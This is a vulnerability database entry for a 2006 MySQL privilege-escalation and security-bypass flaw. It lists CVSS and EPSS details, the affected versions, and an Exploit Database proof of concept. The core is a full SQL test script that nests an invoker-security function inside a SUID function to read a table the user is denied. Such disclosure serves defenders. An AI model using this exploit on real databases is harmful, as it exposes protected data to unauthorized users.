Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.5 |
|
AV:N/AC:L/Au:S/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 28398
Publication date : 2006-08-16 22h00 +00:00
Author : Michal Prokopiuk
EDB Verified : Yes
source: https://www.securityfocus.com/bid/19559/info
MySQL is prone to these vulnerabilities:
- A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges.
- A security-bypass vulnerability. A user can bypass restrictions and create new databases.
MySQL 5.0.24 and prior versions are affected by these issues.
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
Products Mentioned
Configuraton 0
Mysql>>Mysql >> Version 5.0.1
Mysql>>Mysql >> Version 5.0.2
Mysql>>Mysql >> Version 5.0.3
Mysql>>Mysql >> Version 5.0.4
Mysql>>Mysql >> Version 5.0.20
Mysql>>Mysql >> Version 5.0.22.1.0.1
Mysql>>Mysql >> Version 5.0.24
Mysql>>Mysql >> Version 5.1.5
Oracle>>Mysql >> Version 5.0.0
Oracle>>Mysql >> Version 5.1.6
Oracle>>Mysql >> Version 5.1.9
Oracle>>Mysql >> Version 5.1.10
References